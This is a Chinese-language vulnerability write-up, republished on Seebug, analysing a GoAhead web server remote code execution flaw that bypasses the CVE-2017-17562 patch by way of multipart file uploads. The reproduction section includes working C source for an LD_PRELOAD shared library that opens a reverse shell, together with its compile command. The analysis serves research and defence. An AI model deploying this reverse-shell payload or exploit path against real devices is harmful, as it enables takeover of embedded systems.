作者: 且聽安全
原文鏈接:https://mp.weixin.qq.com/s/AS9DHeHtgqrgjTb2gzLJZg

概述

GoAhead是世界上最受歡迎的微型嵌入式Web服務器。它結構緊湊、安全且易于使用。GoAhead部署在數億臺設備中,是最小嵌入式設備的理想選擇。

近日爆出GoAhead存在RCE漏洞,漏洞源于文件上傳過濾器處理的不全,當與CGI處理程序一起使用時,可影響環境變量,從而實現RCE。GoAhead曾經爆出過類似的漏洞CVE-2017-17562:

https://www.elttam.com/blog/goahead/#content

經過分析發現此次爆出的新漏洞與CVE-2021-42342類似。漏洞影響版本為:

GoAhead web-server=4.x
5.x<=GoAhead web-server<5.1.5

GoAhead在IBM、HP、Oracle、波音、D-link、摩托羅拉等廠商產品中廣泛使用,所以該漏洞的影響范圍非常廣泛。

補丁對比分析

在開始真正漏洞分析之前,我們首先回顧一下GoAhead針對CVE-2017-17562的修復方式。主要修復有2個。第1個在cgi.c#cgiHandler處理函數中:

乍一看當參數以LD_開頭將會被忽略,所以LD_PRELOAD無法使用。但是深入分析我們發現這里補丁犯了一個低級錯誤。這里vp雖然來源于s->name.value.string

vp = strim(s->name.value.string, 0, WEBS_TRIM_START);

看下strim函數定義:

vp將永遠為0,所以上面通過if過濾LD_PRELOAD參數的過程是沒有任何意義的。接著往下走,GoAhead會將POST請求的表單變量使用ME_GOAHEAD_CGI_VAR_PREFIX作為前綴,通過函數sfmt進行字符串格式化以保證LD_PRELOAD不會被劫持。看起來修復的很完善,但是我們看這里進入第183行處理的前提條件是s->arg的值不為0(初始化狀態為0)。

第2處修改位于http.c#addFormVars函數:

這里將arg賦值為1,正好可以滿足上面if判斷的條件。

HTTP請求處理分析

下面我們開始從GoAhead處理HTTP請求進行簡單分析。

進程初始化分析

GoAhead進程啟動后,會調用http.c#websServer函數完成配置初始化處理:

函數websOpen會嘗試解析route.txt,并根據配置選擇啟動的模塊:

websDefineHandler函數用來定義處理不同請求類型的回調函數,比如上面定義CGI的回調處理函數為cgiHandler,前面補丁對比分析時講過這個函數會對參數進行加前綴處理。

回到http.c#websServer,第3426行將調用websListen函數啟動HTTP服務,進入該函數:

第644行定義了當有HTTP請求來到時,將回調websAccept函數進行處理。

第702行將調用websAlloc為每一個請求分配單獨的Webs結構體空間:

initWebs函數完成對Webs結構體初始化的工作:

下面我們簡要分析一下GoAhead對一次HTTP請求進行處理的流程。GoAhead將HTTP請求分為4個狀態:

對于每一個HTTP請求,GoAhead以事件形式通過readEvent函數進行處理:

進入websPump函數:

WEBS_BEGIN

Accept階段(即WEBS_BEGIN),調用函數parseIncoming

進入parseHeaders對HTTP頭進行檢查與解析:

?根據content-type的不同類型,完成對wp->flags的賦值。

WEBS_CONTENT

當進入參數處理狀態時(即WEBS_CONTENT),websPump將調用processContent進行處理:

這里重點講下文件上傳狀態WEBS_UPLOAD參數處理的過程。在upload.c中,默認定義上傳文件保存目錄為tmp

processUploadHeader中構造此次HTTP請求結構體的uploadTmp值:

因此,websTempFile默認將生成一個/tmp/tmp-0.tmp的臨時文件名稱,數字是websTempFile中根據count++生成的。然后打開臨時文件,并將文件句柄賦值給wp->upfd。在processContentData處理上傳文件時,將調用writeToFile寫入文件:

最終將文件寫入了wp->upfd,也就是保存到了創建的臨時文件中。

WEBS_READY

websPump將調用websRunRequest進行處理:

在這里有兩個函數websSetQueryVarswebsSetFormVars需要注意:

這2個函數都調用了addFormVars,在前面對CVE-2017-17562漏洞補丁進行分析的過程中提到過這個函數,addFormVars處理的最后將sp->arg賦值為1,使得cgi.c#cgiHandler處理過程中會對請求參數進行重命名,從而修復了CVE-2017-17562漏洞。

漏洞分析

有了前面對CVE-2017-17562漏洞修復的補丁對比和HTTP請求原理的分析基礎,下面的漏洞分析過程就顯得非常簡單了。

WEBS_READY提到,GoAhead對POST請求和GET請求提交的參數都會調用addFormVars函數進行處理,將sp->arg賦值為1,從而使得cgi.c#cgiHandler重命名環境變量,但是我們可以看到POST請求調用addFormVars的前提是wp-flags取值為WEB_FORM,回顧WEBS_BEGIN處理過程,當content-typemultipart/form-data時,wp-flags將賦值為WEBS_UPLOAD,也就是說,如果HTTP請求為文件上傳類型時,參數將不會通過addFormVars處理,此時s->arg取值仍然為0,從而在cgi.c#cgiHandler中將進入如下分支:

后面漏洞觸發的原理與CVE-2017-17562就是一樣的了。

漏洞復現

反彈shell的惡意函數:

#include<stdio.h>
#include<stdlib.h>
#include<sys/socket.h>
#include<netinet/in.h>

char *server_ip="127.0.0.1";
uint32_t server_port=7777;

static void reverse_shell(void) __attribute__((constructor));
static void reverse_shell(void)
{
    //socket initialize
    int sock = socket(AF_INET, SOCK_STREAM, 0);
    struct sockaddr_in attacker_addr = {0};
    attacker_addr.sin_family = AF_INET;
    attacker_addr.sin_port = htons(server_port);
    attacker_addr.sin_addr.s_addr = inet_addr(server_ip);
    //connect to the server
    if(connect(sock, (struct sockaddr *)&attacker_addr,sizeof(attacker_addr))!=0)
        exit(0);
    //dup the socket to stdin, stdout and stderr
    dup2(sock, 0);
    dup2(sock, 1);
    dup2(sock, 2);
    //execute /bin/sh to get a shell
    execve("/bin/bash", 0, 0);
}

編譯:

gcc hack.c -fPIC -shared -o hack.so

修復方式

在新版本中改動的代碼有不少,最核心的變化在upload.c#processContentData函數中:

對文件上傳處理同樣加入了sp->arg = 1的處理。同時在cgi.c#cgiHandler中,加入了黑名單處理機制,并且調整了sstarts判斷代碼,修復了低級錯誤:


Paper 本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/1808/